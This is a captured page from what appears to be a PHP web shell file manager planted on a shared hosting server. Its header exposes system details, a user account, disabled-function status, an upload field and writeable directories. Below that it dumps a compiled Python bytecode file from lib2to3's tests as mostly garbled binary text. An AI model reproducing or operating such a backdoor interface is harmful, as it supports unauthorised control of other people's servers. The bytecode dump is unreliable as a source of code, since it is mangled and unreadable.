Server : LiteSpeed
System : Linux server51.dnsbootclub.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : nandedex ( 1060)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /opt/cppython/lib/python3.8/lib2to3/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]


Current File : //opt/cppython/lib/python3.8/lib2to3/tests/__pycache__/pytree_idempotency.cpython-38.opt-2.pyc
U

?��g�	�@s�ddlmZdZddlmZddlZddlZddlZddlmZddlm	Z	dd	l	m
Z
e��d
d�Zdd
�Z
edkr~e�dS)�)�print_functionz#Guido van Rossum <guido@python.org>�)�supportN�)�pytree)�pgen2)�driverc
Cs�t�d�}tj|tjd�}d}|j|dd�}t||�s>td�tj	dd�sPdSg}tj
D]|}tj
|}|dksZt|d�s|qZ|j}|�
d	�r�|dd
�}|�
d�s�qZtd|tjd
�|j|dd�}t||�rZ|�|�qZtjD]�}zt�|�}Wntk
�r
Yq�YnXtd|dtjd
�|D]�}|�
d��s6�q"td|tjd
�tj�||�}z|j|dd�}Wn2tjjk
�r�}	ztd|	�W5d}	~	XYnXt||��r"|�|��q"q�|�s�td�ntd�|D]}td|��q�dS)NzGrammar.txt)�convertz
example.pyT)�debugz	No diffs.r�__file__z.pyc���z.pyZParsing)�fileZScanningz...zParseError:zNo problems.  Congratulations!zProblems in following files:z***)rZload_grammarZDriverrr	Z
parse_file�diff�print�sys�argv�modules�hasattrr�endswith�stderr�append�path�os�listdir�OSError�joinr�parseZ
ParseError)
ZgrZdr�fn�treeZproblems�name�mod�dir�names�err�r$�?/opt/cppython/lib/python3.8/lib2to3/tests/pytree_idempotency.py�mainsX









r&c	CsLtdd�}z|�t|��W5|��Xzt�d|�W�St�d�XdS)N�@�wzdiff -u %s @)�open�close�write�strr�remove�system)rr�fr$r$r%rRs

r�__main__)Z
__future__r�
__author__�rrr�loggingrrr�basicConfigr&r�__name__r$r$r$r%�<module>s8

F1le Man4ger